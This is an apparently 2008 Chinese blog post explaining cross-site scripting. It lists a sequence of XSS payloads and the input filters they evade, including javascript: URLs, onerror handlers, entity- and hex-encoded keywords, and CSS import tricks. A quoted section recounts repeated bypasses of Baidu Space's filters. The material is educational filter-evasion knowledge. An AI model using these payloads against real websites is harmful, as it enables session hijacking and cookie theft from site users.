注册 | 登录 忘记密码? 51cto首页 | 博客 | 论坛 | 招聘
热点文章 漂亮MM的网恋史
 帮助

XSS攻击新认识


2008-04-09 12:23:18
 标签:攻击 XSS   [推送到技术圈]

原来听说过XSS攻击,但是不知道是怎么回事。今天又看了一遍,总算收获不少。
1 简介
跨站脚本攻击简称为XSS又叫CSS (Cross Site Script),是指恶意攻击者往WEB页面里插入恶意HTML代码,当用户浏览该页之时,嵌入其中WEB里面的HTML代码会被执行,从而达到恶意用户的特殊目的。XSS属于被动式的攻击,因其是被动的且不好利用,所以常常被忽视。
通常的跨站利用方式是攻击者先构造一个跨站网页,然后在另一空间里放一个收集COOKIE的页面,接着结合其它技术让用户打开跨站页面以盗取用户的COOKIE,以便进一步的攻击。这种方式目前已经落后了,其弊端也是显而易见的,因为即便收集到了COOKIE,也未必能进一步渗透进去,多数的COOKIE里面的密码都是经过加密的,如果实行COOKIE欺骗的话,同样也要受到其它的条件的限约。目前跨站攻击需要更多的思路和代码。
2 跨站代码的发展
最新的跨站攻击代码一般形如<script>alert('xss')</script>。
随着替换技术的应用,上面的形式就不实用了,最常见的替换方法如下。
replace(str,"<","&#x3C;")
replace(str,">","&#x3E;")
接着,发现很多对象支持“JAVASCRIPT:”的形式代码执行,所以就有下面的跨站代码。
<img src="javascript:alert(/xss/)" width=0>
当然过滤技术也会针对其做相应的变化,结果这种形式也不能用了。
Dim re
Set re=new RegExp
re.IgnoreCase =True
re.Global=True
re.Pattern="javascript:"
Str=re.replace(Str,"javascript-")
re.Pattern="jscript:"
Str=re.replace(Str,"jscript-")
re.Pattern="vbscript:"
Str=re.replace(Str,"vbscript-")
Set re=nothing
跨站技术也在不断发展,很多对象支持“&#ASCII”的表示方法,这样下面的代码也是有效的。
<img src="javascrip&#116&#58alert(/xss/)" width=0>
有矛就有盾,过滤技术也出了相应的解决方法,增加了对“&”的过滤。
replace(str,"&","&#x26;")
到此似乎,跨站攻击的代码已经很难发展下去了,怎么样来解决问题呢。其实还有很多方法的。
<img src="java script:alert(/xss/)" width=0>
上面的代码是一种利用特殊字符搞出来代码,中间的空格是用TAB键搞出来的,其实如果搞清楚过滤机制,利用这种方法来对付最简单。当然也会有人想到使用事件来执行代码。
<img src="#" onerror=alert(/xss/) width=0>
下面部分是摘抄子另一篇文章
百度空间漏洞攻防战
最初百度空间的beta版事实上没有过滤任何代码,所以可以直接在空间的自定义css里插入js或vbs代码,譬如:
body{background:url(“javascript:alert('xss')”)}”
也是这时候百度蠕虫第一次出现(具体内容请看十期黑防)。后来百度对用户输入的”javascript”和”vbscript”以及” expression”进行了过滤,使得上述方法无法实现但是依然可以通过把”javascript”分两行写的方式进行绕过:
body {background:url(j
avascript:alert('xss'))}
在百度又一次过滤后我们的新方法是在文章编辑里插入:
<div style="width:0;height:0;background:url(javascript:document.body.onload=function(){alert('xss');});"></div>
然后百度开始过滤div中的”javascript”字符了。我接下来采取的突破方法是在插入外部图片连接地址中写入:
javascript:alert(/xss/)
当然很快就被修复了,然后我试着在百度音乐地址中插入事先构造好xss脚本的swf文件,同样可以达到了xss的目的。之后采取的是在文章编辑中插入图片代码:
<img src="javascript:alert(/xss/)" />
<img src="" onerror=alert("xss")>
这时百度开始过滤img中的javascript,所以接下来我的突破方法是在css中插入import:
@import "你要加载的css文件.css";
然后在外部调用的css里插入xss代码。也是这时我在百度的博客开始利用ajax增加了一些版块譬如日历、天气预报等百度所没有的版块。这次百度采取的过滤方式是把”import”字符转化为空格,但因为百度并不是单纯地过滤的,而是判断字符前后是否有非英文或数字存在——这样做的原因是怕”! important”和其他一些合法字符被过滤掉。于是有了新的破解方法:
@importimport "你要加载的css文件.css";
保存后百度会自动过滤掉后面的”import”。百度对于这种新利用方法的回应是对这样的输入不再进行过滤,于是利用方法再一次得到改进:
@import
import "你要加载的css文件.css";
即把两个import分两行来写,百度仍然会过滤掉后面一个,使语句完整。但后来再这样输入时,百度会把import全部过滤掉!这也宣布明码的xss代码注入告于段落。
接下来采取的方法就是加密xss代码了,由于过滤一般只是针对于譬如”javascript”或”vbscript”这样的关键字,所以方法之一是我们在字符串中插入空格或者回车字符进行绕过,因此利用形式如下:
<IMG SRC="jav&#x09;ascript:alert('XSS');" >
<IMG SRC="jav&#x0A;ascript:alert('XSS');" >
<IMG SRC="jav&#x0D;ascript:alert('XSS');" >
其中”&#x09;”是tab空格的16进制写法、”&#x0a”和”&#x0d”是回车的16进制两种写法。当然你亦可以把他们用10进制表示(&#9和&#10\&#13)。方法二既是用转换工具对xss字符串进行进制转换(图1)(工具请到光盘中查找)。
图表 1
因此代码有了以下表现形式:
(1)<img src=” &#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105; &#112;&#116;&#58;&#97;&#108;&#101;&#114;& #116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;& #59;”/>(&#十进制;形式)
(2)<img src=” &#x006A;&#x0061;&#x0076;&#x0061;&#x0073;&#x0063;& #x0072;&#x0069;&#x0070;&#x0074;&#x003A;&#x0061;&#x006C; &#x0065;&#x0072;&#x0074;&#x0028;&#x0027;&#x0058;& #x0053;&#x0053;&#x0027;&#x0029;&#x003B;”/>(&#x十六进制;形式)
(3)<DIV STYLE="background-image:\0075\0072\006C\0028\006A\0061\0076 \0061\0073\0063\0072\0069\0070\0074\003A\0061\006C\0065\0072\0074\0028\0027 \0058\0053\0053\0027\0029\0029">test</DIV>(\十六进制形式)
或者用vbs及vbs的编码:
<img src="vbscript:msgbox(document.cookie)" />(图2)




    文章评论
 
 

发表评论

昵   称:
验证码:  点击图片可刷新验证码  博客过2级,无需填写验证码
内   容: